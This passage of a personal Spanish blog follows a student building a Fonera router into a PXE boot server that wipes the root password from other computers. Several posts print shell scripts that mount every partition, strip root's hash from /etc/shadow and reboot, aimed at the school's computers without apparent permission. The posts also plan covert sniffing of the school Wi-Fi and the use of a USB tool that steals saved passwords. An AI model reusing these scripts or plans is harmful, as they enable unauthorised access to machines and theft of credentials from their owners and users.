src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYxUIpwyrjv40R4vnmSuqrCeVzeevpsBOL8lRhN0ecEJJDJNwUnPRDWmGlMfYei_SOVWLm5lCZfYE0veCDYrPbwdk63BXddhUInguaLeSSbVxG6XXzrGxcd4_3li0ckUzYXNfEPTkwb1g/s320/DSC00208.JPG" alt="" id="BLOGGER_PHOTO_ID_5101476759902751394" border="0" /></a><br /><div style="text-align: justify;">Al margen de ese tema que ya no hay mucho mas que comentar, voy a hablaros sobre como va la fonera. Ya sabéis en que consiste el proyecto actual, ponerla en modo cliente, etc. todavía no he pensado exactamente que va a hacer la fonera, solo tengo en mente dos o tres herramientas, pero vamos que eso se piensa en un momento, luego quedaría hacer el script y probarlo, no puedo llegar al instituto a ciegas, sin haber probado el script. Por ello necesito crear un entorno que se asemeje un mínimo a lo que hay en el centro tic, para el tema de la red inalámbrica usaré mi segundo router, porque el que esta uso prefiero no tocarle la configuración, me ahorro trabajo cogiendo el otro, así ademas el portátil podrá seguir conectándose a mi red tan tranquilo mientras duren las pruebas. Y <hints id="hah_hints"></hints>por otro lado mi servidor hará de... servidor xD La idea que tuve el otro día de que la fonera se conecte a mi cuenta en el servidor y utilice mi espacio nfs me ha gustado, y pienso montarlo, para conseguirlo estoy intentando que en mi server funcione el nfs (conseguido) y ahora estoy leyendo la documentación de LDAP, para tener ese sistema de usuarios remoto, por llamarlo de alguna manera, para crear un usuario desde el cual accederá la fonera y utilizará el espacio nfs asignado.<br /><br />El LDAP como es lógico no puedo todavía contaros como se instala, configura, etc. porque no lo he hecho, sin embargo si que lo he hecho con el nfs, así que como de costumbre voy a contaros como lo he hecho.<br /></div><br /><div style="text-align: justify;">En el servidor necesitamos instalar el servicio, yo solo instalé mediante apt el paquete <span style="font-style: italic;">nfs-kernel-server</span>:<br /></div><br /><span style="font-style: italic;"># apt-get install nfs-kernel-server</span><br /><br /><div style="text-align: justify;">Ahora solo queda configurarlo, lo imprescindible es el archivo <span style="font-style: italic;">/etc/exports,</span> donde configuraremos el directorio que se podrá montar remotamente, quien podrá hacerlo, que privilegios tiene... Ademas también, para ganar en seguridad, se pueden editar los ficheros <span style="font-style: italic;">/etc/hosts.allow</span> y <span style="font-style: italic;">/etc/hosts.deny</span>. Yo solo me he limitado al <span style="font-style: italic;">/etc/exports,</span> esto es lo que he puesto en él:<br /></div><br /><span style="font-style: italic;">/media/home 192.168.0.0/255.255.255.0(rw)</span><br /><br /><div style="text-align: justify;">Lo primero es el directorio que quiero que se pueda montar desde otros pc, después he puesto que cualquier ip del rango <span style="font-style: italic;">192.168.0.1-255</span> pueda hacerlo, y por último que se pueda leer y escribir. También le cambie los permisos a dicho directorio, porque al principio no podía escribir en el, desde mi laptop. Al final le di 777 al directorio y ya funcionaba bien. (una configuración mas restrictiva también lo hubiera hecho seguramente, pero yo le puse esa):<br /></div><br /><span style="font-style: italic;"># chmod 777 /media/home</span><br /><br /><div style="text-align: justify;">Con eso el servidor ya está listo, ahora solo nos queda configurar el cliente. Yo por ahora solo he configurado mi laptop con ubuntu, la fonera no la preparado todavía. En ubuntu por defecto no he podido montarlo, he instalado el paquete <span style="font-style: italic;">nfs-common</span> y ya funcionó todo:<br /></div><br /><span style="font-style: italic;"># apt-get install nfs-common</span><br /><br /><div style="text-align: justify;">Y después ya lo pude montar:<br /></div><br /><span style="font-style: italic;"># mount debian:/media/home /mnt</span><span class="on down" style="display: block;" id="formatbar_CreateLink" title="Vínculo" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"></span><br /><div style="text-align: justify;">Donde debian es el nombre del servidor o su ip, lo siguiente es el directorio remoto y el local donde lo montaremos. Hasta ahora es lo que he hecho, si queréis mas detalles sobre como configurar el nfs os dejo estos dos links:<br /><br /><a href="http://nfs.sourceforge.net/nfs-howto/">http://nfs.sourceforge.net/nfs-howto/</a><br /><a href="http://bulma.net/body.phtml?nIdNoticia=1255">http://bulma.net/body.phtml?nIdNoticia=1255</a><br /><br />Mis siguientes pasos serán conseguir que la fonera pueda montar utilizar nfs, preferiblemente sin tener que compilar un kernel. Y también configurar el ldap en mi server. Os seguiré contando...<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com3tag:blogger.com,1999:blog-2917730816352861372.post-84315816508091514212007-08-20T18:05:00.000+02:002007-08-20T22:44:17.999+02:00La fonera esta lista<div style="text-align: justify;">Ahora mismo la fonera está lista para cumplir su primer objetivo en el centro TIC. Finalmente el script solo lo he hecho para distros "modernas", para las que tiene las contraseñas con un archivo shadow, pensé en hacerlo también compatible con las que funcionan con passwd pero al final lo dejé. Ya sé que he tardado demasiado, que se podía haber hecho en un día, pero yo no he hecho muchas cosas con shell script, así que he tenido que ir probando, ver porque ahora falla esto, que pasa con esa parte... Pero bueno, el caso es que ya lo he terminado. El script finalmente lo he dejado así y funciona bien:<br /><br /><span style="font-style: italic;">PARTICIONES=$(ls /dev | grep "hd..")</span><br /></div><span style="font-style: italic;"></span><span style="font-style: italic;">mkdir /media</span><span style="font-style: italic;"><br />for i in $(echo $PARTICIONES)<br /></span><span style="font-style: italic;">do</span><span style="font-style: italic;"><br />mkdir /media/$i</span><span style="font-style: italic;"><br />mount /dev/$i /media/$i</span><span style="font-style: italic;"><br />SHADOW=$(ls /media/$i/etc/shadow)</span><span style="font-style: italic;"><br />SHADOW2=/media/$i/etc/shadow</span><span style="font-style: italic;"><br />if [ "$SHADOW" = "$SHADOW2" ]; then</span><span style="font-style: italic;"><br />TYPE=$(cat $SHADOW | grep root: | cut -d":" -f2)</span><span style="font-style: italic;"><br />cp $SHADOW $SHADOW.bak</span><span style="font-style: italic;"><br />if [ "$TYPE" = "*" ]; then</span><span style="font-style: italic;"><br />cat $SHADOW.bak | grep root | sed -r 's/[*]//g' > $SHADOW;</span><span style="font-style: italic;"><br />else cat $SHADOW.bak | grep root | sed -r 's/|[$][^:]+//g' > $SHADOW;</span><span style="font-style: italic;"><br />fi</span><span style="font-style: italic;"><br />cat $SHADOW.bak | grep -v root >> $SHADOW</span><span style="font-style: italic;"><br />else umount /media/$i;</span><span style="font-style: italic;"><br />fi</span><span style="font-style: italic;"><br />done</span><br /><br /><div style="text-align: justify;">Está colocado en el initrd, y todo esta debidamente puesto en la fonera. Pensé en hacer un firmware "quitapassword" pero como no esta muy completo no lo he hecho, la idea de ese firm sería que funcionara con cualquier linux y (novedad) que también funcionara con windows (obviamente hablamos de maquinas con pxe habilitado), pero por ahora no lo voy a hacer, he hecho lo que necesito y ya está, quizás algún día me de por hacer ese firm. Lo que si he pensado es dejaros el fichero <span style="font-style: italic;">/etc/dnsmasq.conf</span> y el directorio <span style="font-style: italic;">/mnt</span>, donde están los archivos para el arranque pxe. Si lo queréis podéis descargarlo <a href="http://neobiusnet.googlepages.com/fonera.tar.gz">aquí</a>.<br /></div><br /><div style="text-align: justify;">También he tenido otro problema no he podido hacer lo que tenía pensado, yo quería hacer un backup del contenido de la fonera y luego poder restaurarlo cuando quisiera, realmente lo que pasa es que tengo otra idea para la fonera y quería tener el backup disponible para flashear en cualquier momento y poder alternar entre fonera para este proyecto y fonera para el otro proyecto con facilidad. El problema que tengo es que la "partición" principal de la fonera es de 7MB y el espacio en <span style="font-style: italic;">/tmp</span> es de 6.9MB, así que cuando quiera hacer el backup no tendre manera de subir el backup a la fonera. No se como hacerlo, busque mucho en google, openwrt... y no encontré solución, así que <a href="http://forum.openwrt.org/viewtopic.php?id=12140">posteé en el foro de openwrt</a>, pero no me han respondido :( Al final he optado por hacer un backup de los directorios implicados (<span style="font-style: italic;">/mnt</span> y /etc) y cuando quiera usarlo flasheo la fonera y sustituyo esos directorios por mi backup.<br /><br />Por último comentar una cosa sobre mi otra idea, <a href="http://neobius.blogspot.com/2007/06/ideas-nuevas-para-la-fonera.html">como recordaréis</a>, se trata de poner la fonera en modo cliente, que se conecte a la red wifi de mi instituto y que ella misma ejecute un script que analice la red y lo guarde todo en logs, luego en el poco espacio que quede un poco de sniffing. El caso es que asi por defecto dispongo de unos 5.1 MB (que da para bastante en logs de texto plano...) pero además tiene un mas espacio temporal en <span style="font-style: italic;">/tmp</span>, 6.6 MB, el inconeniente es que es volátil, cuando se apaga se borra, así que he pensado en hacer pruebas de autonomía con pilas y conectarla en un momento que yo vea que va a ser suficiente para llegar hasta mi casa, y luego copio los datos, de esa forma dispongo de 6.6 MB adicionales. También podría hacer que se conecte a mi cuenta de usuario, y acceda por NFS a mi espacio personal en el servidor del centro TIC y que hay guarde todo, así dispondría de bastante mas espacio, ademas luego podría cogerlo desde un pc del instituto y copiarlo a mi pendrive de 4 GB con U3 :D o sino podría hacer que me lo mandará por correo electrónico... en fin, que si en su momento veo que el espacio me escasea puedo conseguir mas con facilidad. Ya os contaré según avance en este tema. Realmente aún no he pensado que herramientas va ejecutar, ya pensaré despacio lo que hará. Por ahora me queda soldar el portapilas al enchufe de la fonera (lo he sacado de un transformador de esos universales, con diversos voltajes y diversos enchufes). Y la verdad es que ahora mismo no recuerdo si era en serie o en paralelo, pero el caso es que si le pongo varios portapilas durará mas, así que en un hipotético caso puedo llenar la mochila de pilas y portapilas y que la fonera me dure la mañana entera... ya os contaré como avanza esto.<br /></div><hints id="hah_hints"></hints>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com2tag:blogger.com,1999:blog-2917730816352861372.post-67868696602697844852007-08-20T16:36:00.000+02:002008-12-12T08:58:32.072+01:00Fiebre consumista<div style="text-align: justify;">Hola a todos, hace tiempo que no escribo nada, casi una semana, pero claro es lo que tiene ir a la playa y quedar con los amigos. Tengo un par de cosas que contaros, mis últimas compras y también como esta la fonera, porque ya la voy a dejar como está, y ademas ha surgido un inconveniente para lo de ponerla en modo cliente y que ella misma scanee la red... bueno lo de la fonera os lo contaré ahora en otro post, en este voy a contaros lo que he comprado.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0FiQapoABpHlSysFGmJLuadeoHJM9geIJn4nmdV-I0MVmb81N5NHEZjQoDCQofwGmcD0nneR6oEcmzuKoItaJDf3zk6CUklCsOBBeHORR0fNjnVCnH7rIdxOlGDpWh0qeOxL5mw1E9ds/s1600-h/Hackers--19-desafios-practicos-mas-i0n9371.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 114px; height: 159px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0FiQapoABpHlSysFGmJLuadeoHJM9geIJn4nmdV-I0MVmb81N5NHEZjQoDCQofwGmcD0nneR6oEcmzuKoItaJDf3zk6CUklCsOBBeHORR0fNjnVCnH7rIdxOlGDpWh0qeOxL5mw1E9ds/s320/Hackers--19-desafios-practicos-mas-i0n9371.jpg" alt="" id="BLOGGER_PHOTO_ID_5100797107097963154" border="0" /></a>He pedido un libro y un pendrive, os cuento, el libro es "<a href="http://www.agapea.com/Hackers-19-desafios-practicos-mas-n9371i.htm">Hackers. 19 Desafíos Práticos Más</a>", es digamos como una segunda parte de "<a href="http://www.agapea.com/Hackers-20-desafios-practicos-n9369i.htm">Hackers 20 Desafíos Prácticos</a>", que lo tengo desde hace tiempo y lo he leido dos veces. El libro está divido en dos partes, en una te plantea el problema y en la otra parte te dice la solución, es decir te ofrece varios casos con diferentes grados de dificultad (desde un unicode, hasta ataques a redes usando wifi como via de entrada, ataques pasando por firewalls...) te da los datos necesarios (logs, registros de los usuarios, datos obtenidos de las maquinas) y luego tu tienes que decir cuando se produjo el ataque quien lo hizo, como logró acceder, en la otra parte del libro te da la respuesta a esas preguntas y puedes comprobar tu solución o aprender como fue. Bueno un libro que me gustó mucho, esta segunda parte llevaba tiempo esperando comprarla pero desde hace tiempo todas las librerías virtuales que frecuento lo tenían agotado, y en la editorial pone "libro temporalmente sin existencias", así que no podía comprarlo, sin embargo ayer me lleve una grata sorpresa cuando lo encontré en stock en una de mis librerías, así que lo compré :D<br /><br />La otra compra como ya os he dicho ha sido un pendrive, lo que ha pasado es que uno de los que tengo (tengo 2) no funciona el de mayor capacidad, el de 256 MB, el otro que tengo es de 128 MB, así que me pareció adecuado actualizarme y comprarme uno de mas capacidad. Tenía cerca un catálogo del Carrefour así que mire a ver si había algo, para ver como estaban los precios, y vi 1 GB 10 €, 2 GB 15€ y 4 GB 27 € (por cierto también había otra cosa muy interesante, un disco duro externo de 500 GB por 89 €, pero eso ya no lo compré). El de 4 GB por 27€ me pareció muy interesante, es mas estaba pensando en ir a comprarlo, pero entonces me salió esa vena de vago que todos tenemos y pensé que mejor compro uno por internet y me lo traen a casa :) Total que me puse a buscar por internet y empiezo a ver precios, sin embargo, en ese momento me acordé de una cosa, de que los pendrives con una tecnología llamada <a href="http://en.wikipedia.org/wiki/U3">U3</a>, son autoarrancables, porque una parte simula ser un cd y windows por defecto tiene autorun habilitado, y existe un <a href="http://wiki.hak5.org/wiki/USB_Switchblade">proyecto</a> (Switchblade) para este tipo de pendrives que "roba" información del windows al cual se conecte, contraseñas, contraseñas de explorer, firefox, msn, configuración de la red, direccion ip... en fin algo interesante, así que ya que estaba aproveché y me decidí a comprarme uno de esos modelos. 40 € los 4 GB con U3, lo compré al final <a href="http://www.alternate.es/html/product/details.html?artno=IMCL6A&showTechData=true">aquí</a>.<br /><br />Resultado: un libro más, 4 GB con U3, y 100 € menos... tendré que esperar una temporada para poder comprar mas, que 100 € son 100 €...<br /><br />PD: Ahora escribo otro post contando lo de la fonera ;)<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com7tag:blogger.com,1999:blog-2917730816352861372.post-13101153781747841772007-08-14T16:11:00.000+02:002007-08-14T16:34:13.402+02:00La fonera funciona, pero...<div style="text-align: justify;">Pero puede no valer para el centro tic, porque ahora mismo la fonera lo que hace es buscar el archivo <span style="font-style: italic;">shadow</span>, y una vez encontrado busca una cadena de texto, en la línea del usuario root, que empiece por <span style="font-style: italic;">$</span> sigan varios caracteres y después ":", esa es la contraseña cifrada, y luego la elimina. Simple y sencillo, ahora mismo funciona bien tanto en mi servidor como en mi portátil, en unos 25 segundos arranque borra la contraseña y reinicia. El script al final ha quedado así:<br /></div><br /><span style="font-style: italic;">PARTICIONES=$(ls /dev | grep "hd..")<br /></span><span style="font-style: italic;">mkdir /media<br /></span><span style="font-style: italic;">for i in $(echo $PARTICIONES)<br /></span><span style="font-style: italic;">do</span><span style="font-style: italic;"><br />mkdir /media/$i<br /></span><span style="font-style: italic;">mount /dev/$i /media/$i<br /></span><span style="font-style: italic;">SHADOW=$(ls /media/$i/etc/shadow)<br /></span><span style="font-style: italic;">SHADOW2=/media/$i/etc/shadow<br /></span><span style="font-style: italic;">if [ $SHADOW = $SHADOW2 ]; then<br /></span><span style="font-style: italic;">cp $SHADOW $SHADOW.bak<br /></span><span style="font-style: italic;">cat $SHADOW | grep root | sed -r 's/|[$][^:]+//g' > $SHADOW<br /></span><span style="font-style: italic;">cat $SHADOW.bak | grep -v root >> $SHADOW;<br /></span><span style="font-style: italic;">else umount /media/$i;<br /></span><span style="font-style: italic;">fi</span><span style="font-style: italic;"><br />done<br /></span><span style="font-style: italic;">shutdown -r now<br /></span><br /><div style="text-align: justify;">Y lo he puesto lo antes que he podido para que el sistema pueda arrancar y funcionar, el fichero <span style="font-style: italic;">/etc/init.d/rcS</span> ha quedado así:<br /></div><br /><span style="font-style: italic;">. /etc/init.d/functions<br /></span><span style="font-style: italic;">switch_root_to_tmpfs</span><span style="font-style: italic;"><br />mount_dev_on_devfs<br /></span><span style="font-style: italic;">mount_devpts<br /></span><span style="font-style: italic;">mount_proc<br /></span><span style="font-style: italic;">delete_password<br />shellout<br /><br /></span><div style="text-align: justify;">Bien, así ha funcionado todo, sin embargo puede ser que no funcione en el centro tic porque guadalinex por defecto tiene el usuario root deshabilitado, lo que se traduce como una configuración diferente en el fichero shadow, en lugar de una cadena de caracteres que representan la contraseña cifrada, aparece el carácter "*", por lo tanto mi comando sustitución con sed no funcionará. Así que tengo que volver a cambiar el script, porque a pesar de funcionar en muchas maquinas, no lo hará en las que tengan root deshabilitado.<br /><br />PD: Puede que esto le interese a mas de uno, así que a lo mejor cuando acabe prepar mi propio firmware, o un paquete ipk, o algo para que cualquiera pueda configurar fácilmente su fonera tal y como está la mía.<br /></div><hints id="hah_hints"></hints>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com4tag:blogger.com,1999:blog-2917730816352861372.post-29366138767604191352007-08-09T16:10:00.000+02:002007-08-12T14:06:34.019+02:00La fonera casi esta lista<div style="text-align: justify;">Llevo sin escribir desde el martes, y aunque desde hace dos días no me he dedicado mucho a la fonera desde mi último post ya ha llovido mucho, hasta el punto de que la fonera está casi lista para funcionar, está prácticamente acabada. Ya funciona el netboot, el script está hecho (aunque hay que cambiarle una cosa) y luego solo quedaría averiguar la parte idónea donde colocar el script, porque interesa que sea lo antes posible, para que así es proceso sea mas rápido. Os cuento un poco mas despacio como ha ido todo.<br /><br />Lo primero que hice fue averiguar como era el funcionamiento del arranque pxe, viendo los archivos que descargué de ubuntu (<a href="http://archive.ubuntu.com/ubuntu/dists/dapper/main/installer-i386/current/images/netboot/netboot.tar.gz">netboot.tar.gz</a>), averigüé como era (bueno y con unos conocimientos previos mínimos que adquirí gracias a google). Hacen falta 4 ficheros, os los pongo junto a una breve explicación de que son y para que sirven cada uno de ellos:<br /></div><br /><div style="text-align: justify;"><span style="font-weight: bold;">-pxelinux.0:</span> esta es la piedra angular del pxe, es el archivo que llama el dhcp cuando recibe una solicitud de arranque vía red (tiene que estar configurado en el servidor dhcp, en mi caso, dnsmasq). Exactamente no puedo contaros el procedimiento que realiza ni nada porque no lo he averiguado.<br /><span style="font-weight: bold;">-pxelinux.cfg/default:</span> es el archivo de configuración, indica los parámetros del arranque y demás (bootsplash, si se muestra algún archivo, si pasa algo al pulsar las teclas f1, f2...). En esa carpeta se pueden configurar diferentes archivos si se quiere para cuando se reciba una petición de una determinada mac se use ese archivo. En mi caso no me interesa eso porque no conozco las MACs de los pc, además quiero que se válido con cualquier máquina. Luego comento este fichero mas despacio y las configuraciones que yo he usado.<br /><span style="font-weight: bold;">-linux:</span> este es el kernel linux que voy a usar, realmente se le puede poner cualquier nombre, pero tiene que estar configurado en el archivo anterior. El kernel que estoy usando yo lo he sacado de una imagen iso de guadalinex para instalación remota, para centros tic. En esa imagen hay tanto un kernel e initrd de v3 como de 2004.<br /><span style="font-weight: bold;">-initrd.204:</span> este es el fichero initrd, necesario para el arranque y que proporcionará un entorno de trabajo básico. Yo una vez mas he hecho uso del de guadalinex 2004, obtenido del mismo sitio que el kernel. Por qué se llama <span style="font-style: italic;">initrd.204</span>? simplemente porque era el nombre que tenía en la imagen iso y no lo he cambiado, al contrario que el kernel que no lo cambié, realmente tanto el kernel como este archivo podéis llamarlos como queráis, eso si hay que configurar bien el <span style="font-style: italic;">pxelinux.cfg</span>.<br /></div><br /><div style="text-align: justify;">Bueno sabiendo eso solo queda saber como configurar el <span style="font-style: italic;">pxelinux.cfg/default</span>. En la página web del autor se puede ver <a href="http://syslinux.zytor.com/faq.php">como se configura</a>, en cualquier caso si sabéis usar <span style="font-style: italic;">syslinux</span> también sabéis usar pxe, la sintaxis y los comandos son los mismos y es muy sencillo.<br /><br />Os cuento como lo he configurado yo, la <a href="http://www.juntadeandalucia.es/averroes/cga/spip.php?article23">imagen iso</a> de la que no paro de hablaros usa syslinux para su arranque, así que he usado el <a href="http://neobiusnet.googlepages.com/isolinux.cfg.txt">mismo fichero</a> (no lo pongo aquí por su tamaño), pero le he cambiado algunas cosas, el <span style="font-style: italic;">timeout</span>, que sea 0, es decir sin límite (tiempo de espera), el <span style="font-style: italic;">default local</span> también lo quité, porque significa que cumplido el <span style="font-style: italic;">timeout</span> arrancará desde el disco duro (<span style="font-style: italic;">local</span>), y también elimine el <span style="font-style: italic;">label local</span>, que es realmente quien indica lo del arranque local. Por último también eliminé el <span style="font-style: italic;">label Instalav3</span>, porque no tengo ese kernel e initrd en la fonera. Lo demas lo dejé así. En cualquier caso, eso lo cambiaré. Dejaré una sola opción (<span style="font-style: italic;">default</span>) que arranque el kernel y el initrd, y le pondré <span style="font-style: italic;">timeout 1</span>, para que automáticamente cuando pase un segundo arranque el solo.<br /></div><br /><div style="text-align: justify;">Ya solo falta una cosa para que la fonera sirve de pxe server, configurar en el servidor dhcp el archivo que tiene que enviar. Una vez mas editamos el archivo /etc/dnsmasq.conf, la línea que nos faltaba por terminar:<br /></div><br /><span style="font-style: italic;">dhcp-boot=pxelinux.0</span><br /><br /><div style="text-align: justify;">Simplemente tenemos que indicar el fichero, porque el servidor tftp ya esta configurado, así como su directorio raíz:<br /></div><br /><span style="font-style: italic;">enable-tftp</span><br /><span style="font-style: italic;">tftp-root=/mnt/tftp</span><br /><br /><div style="text-align: justify;">Con esa configuración yo ya lo tenía todo para la primera prueba, prueba que hice en el server, este initrd yo todavía no lo tenia modificado, así que no iba a quitar ninguna contraseña automáticamente, en este momento lo que me interesaba era probar si funcionaba o no, si podía arrancar desde la fonera, además lo hice en mi servidor porque yo sabía de antemano que no se me iba a borrar el disco duro ni nada parecido, ya que previamente había arrancado la imagen iso en vmware, y en cierto momento intentaba conectarse con <span style="font-style: italic;">rsync</span> a <span style="font-style: italic;">192.168.4.254,</span> y esa ip no existe en mi red, por lo que ahí se paraba el arranque. Sabiendo eso conecté la fonera al server por ethernet y reinicio, el server comenzó a arrancar... desde la fonera!! funcionó! pero sabéis lo que pasó cuando llego ese momento en el cual se para el arranque? pues que me dio una shell! si una shell! así que yo monte la partición <span style="font-style: italic;">/</span> y edité el fichero <span style="font-style: italic;">/etc/shadow</span> y quité la contraseña de root, reinicio arrancando desde el disco duro y cuando llega la pantalla de login pongo root y ya esta! sin contraseña, funcionó! pude quitar la contraseña. También probé en el portátil y también le quité la contraseña, pero claro esto fue a mano, ejecutando comandos en esa shell, ahora se trata de hacer un script e integrarlo en el initrd, para que se ejecute todo automáticamente.<br /></div><br /><div style="text-align: justify;">Ahora comienza otra odisea, en realidad todo sería muy sencillo con los conocimientos necesarios, pero en mi caso muchos de ellos los estoy adquiriendo especialmente para la ocasión, así que he tenido que ir poco a poco, a prueba y error. Ahora viene la parte de hacer el script y modificar el initrd, comencé con lo del script lógicamente. Hacer el script tenía una complicación añadida, tengo que averiguar en que partición se encuentra el archivo <span style="font-style: italic;">shadow</span>, en mi prueba manual yo sabía que partición montar, pero el script tendrá que averiguarlo. Os voy a contar como lo hice la primera vez, y como lo estoy haciendo ahora.<br /></div><br /><div style="text-align: justify;">Mi primera idea fue esta, os pongo el script que la plasma y ahora os la describo:<br /></div><br /><span style="font-style: italic;">#!/bin/bash</span><br /><span style="font-style: italic;">PARTICIONES=$(ls /dev | grep "hd..")</span><br /><span style="font-style: italic;">mkdir /media</span><br /><span style="font-style: italic;">for i in $(echo $PARTICIONES)</span><br /><span style="font-style: italic;">do</span><br /><span style="font-style: italic;">mkdir /media/$i</span><br /><span style="font-style: italic;">mount /dev/$i /media/$i</span><br /><span style="font-style: italic;">done</span><br /><span style="font-style: italic;">SHADOW=$(find /media -name shadow | grep "/media/hd../etc/")</span><br /><span style="font-style: italic;">cp $SHADOW $SHADOW.bak</span><br /><span style="font-style: italic;">cat $SHADOW | grep root | sed -r 's/|[$][^:]ls /dev | grep hd | grep "hd.."+//g' > $SHADOW</span><br /><span style="font-style: italic;">cat $SHADOW.bak | grep -v root >> $SHADOW</span><br /><br /><div style="text-align: justify;">Lo primero que hace es ver las particiones que tiene el sistema, y lo almacena en la variable <span style="font-style: italic;">PARTICIONES</span>, mira en el directorio <span style="font-style: italic;">/dev,</span> y filtra la salida con grep a lo que sea <span style="font-style: italic;">hd**</span>, explico, como todos sabéis en linux los discos duros son ficheros que están en <span style="font-style: italic;">/dev,</span> por ejemplo <span style="font-style: italic;">/dev/hda,</span> y las particiones se indican, añadiendo un número al nombre del disco duro, así pues la primera partición del primer disco duro será <span style="font-style: italic;">/dev/hda1.</span> Y esto a que viene? pues que un disco duro no lo puedes montar, montas sus particiones, por eso en vez de hacer un <span style="font-style: italic;">grep hd</span>, que filtraría tanto discos duros como particiones, lo que hago es filtrar solo las particiones, mandando a grep que solo seleccione lo que empiece por <span style="font-style: italic;">hd</span> y sigan dos carácteres cualesquiera, de esta forma entraría <span style="font-style: italic;">hda2</span> pero no <span style="font-style: italic;">hda,</span> por lo que me ahorro errores a la hora de montar.<br /></div><br /><div style="text-align: justify;">Después crea el directorio <span style="font-style: italic;">/media</span>, donde se montaran todas las particiones. A continuación viene un bucle (<span style="font-style: italic;">for</span>) que va tomando uno por uno todos los valores de la variable <span style="font-style: italic;">PARTICIONES</span>, crea un directorio con ese nombre y monta ahí esa partición y se repite hasta que ha acabado con la variable <span style="font-style: italic;">PARTICIONES</span>. Ejemplo, coge el primer valor <span style="font-style: italic;">hda1,</span> crea el directorio <span style="font-style: italic;">/media/hda1</span> y monta en la partición <span style="font-style: italic;">/dev/hda1</span>.<hints id="hah_hints"></hints><br /><br />Ahora viene la parte clave del script, la que localiza el archivo <span style="font-style: italic;">shadow</span> y lo edita. Lo primero que hace es asignarle un valor a la variable <span style="font-style: italic;">SHADOW,</span> ese valor es la ruta del archivo <span style="font-style: italic;">/etc/shadow,</span> para encontrarlo lo que hace es buscar en <span style="font-style: italic;">/media</span> algo que se llame <span style="font-style: italic;">shadow,</span> realmente así buscamos en todo el disco duro, porque todas las particiones están montadas en ese directorio, mas tarde esto supondrá un problema, pero lo veremos después. Lo siguiente que hace es un backup del fichero. Y las dos ultimas líneas son las que modifican el fichero y quitan el password de root, es posible y probable que haya un procedimiento mejor que el que yo he usado, pero no he sabido hacerlo de otra manera. Lo que hace la primera de las dos líneas es pasarle a <span style="font-style: italic;">sed</span> la línea del fichero que corresponde a root, este último comando selecciona la parte de la contraseña y la elimina, el resultado va al propio fichero <span style="font-style: italic;">shadow,</span> después para añadir las líneas correspondientes a los demás usuarios del sistema hago un <span style="font-style: italic;">grep -v root</span>, consiguiendo que devuelva como resultado todo excepto la línea de root, para acabar se añade (<span style="font-style: italic;">>></span>) al fichero <span style="font-style: italic;">shadow.</span><br /><br />Ese era el primer script que se me ocurrió, y en teoría parecía buena idea (al menos a mi), y parecía que funcionaría. Sin embargo yo no contaba con una cosa, en el caso de mi servidor el <span style="font-style: italic;">find</span> busca en mas de 110 GB, y en el caso de mi portátil en unos 75 GB, cuando se ejecutó el script tardó increíblemente en acabar, y además no funcionó, pero de todas formas no me moleste en intentar arreglarlo, porque no se cuanta información almacenaran las laptops del instituto, pero no puedo estar 5 minutos esperando a que <span style="font-style: italic;">find</span> termine de rastrear el disco duro, así que toca cambiar el algoritmo.<br /><br />Al igual que antes os pongo el nuevo script y luego comento:<br /></div><br /><span style="font-style: italic;">#!/bin/bash</span><br /><span style="font-style: italic;">PARTICIONES=$(ls /dev | grep "hd..")</span><br /><span style="font-style: italic;">mkdir /media</span><br /><span style="font-style: italic;">for i in $(echo $PARTICIONES)</span><br /><span style="font-style: italic;">do</span><br /><span style="font-style: italic;">mkdir /media/$i</span><br /><span style="font-style: italic;">mount /dev/$i /media/$i</span><br /><span style="font-style: italic;">SHADOW=$(ls /media/$i/etc/shadow)</span><br /><span style="font-style: italic;">SHADOW2=/media/$i/etc/shadow</span><br /><span style="font-style: italic;">if [ $SHADOW ==$SHADOW2 ]</span><br /><span style="font-style: italic;">then</span><br /><span style="font-style: italic;">cp $SHADOW $SHADOW.bak</span><br /><span style="font-style: italic;">cat $SHADOW | grep root | sed -r 's/|[$][^:]+//g' > $SHADOW</span><br /><span style="font-style: italic;">cat $SHADOW.bak | grep -v root >> $SHADOW</span><br /><span style="font-style: italic;">else</span><br /><span style="font-style: italic;">done</span><br /><span style="font-style: italic;">fi</span><br /><span style="font-style: italic;">done</span><br /><span style="font-style: italic;">shutdown -r now</span><br /><br /><div style="text-align: justify;">Las primeras líneas son claras, se crea el directorio <span style="font-style: italic;">/media</span> y se asigna un valor a la variable <span style="font-style: italic;">PARTICIONES,</span> después viene un bucle <span style="font-style: italic;">for</span> igual que antes, pero cambia la tarea que realiza, el procedimiento es este: crea un directorio, monta la partición en ese directorio, luego crea la variable <span style="font-style: italic;">SHADOW,</span> lo que hace es un ls en busca del archivo <span style="font-style: italic;">shadow,</span> si devuelve resultado es que el fichero existe, y la ruta se almacena, si no hay resultado el fichero no existe y la variable se queda en blanco. Lo siguiente es una "variable de control" que nos permitirá ver si <span style="font-style: italic;">$SHADOW</span> tiene el valor correcto, simplemente es la ruta que debería tener el fichero <span style="font-style: italic;">shadow</span> en caso de que existiera. A continuación mediante un <span style="font-style: italic;">if</span> se comprueba si <span style="font-style: italic;">SHADOW</span> es igual a <span style="font-style: italic;">SHADOW2,</span> si es igual se deduce que el fichero <span style="font-style: italic;">shadow</span> existe en esa partición, si no son iguales entonces no hay <span style="font-style: italic;">shadow.</span> Si no hay <span style="font-style: italic;">shadow</span> se acabó, si hay <span style="font-style: italic;">shadow</span> se le quita el password y se le hace un backup con el mismo procedimiento que en el script anterior. Lo único que cambia en este script es el procedimiento de búsqueda del <span style="font-style: italic;">shadow.</span> Cuando acaba reinicia la máquina.<br /><br />Tengo que aclarar que el script no funciona, se ejecuta aparentemente bien, pero alguna parte debe fallar porque luego cuando se reinicia root sigue con pass, tendré que averiguar que parte va mal, pero el algoritmo yo creo que esta bien pensado, pienso que es un problema de implementación, habré codeado algo mal, ya pensaré como lo arreglo.<br /><br />Por último vamos a ver la parte que nos falta, como se modifica el initrd. Un initrd 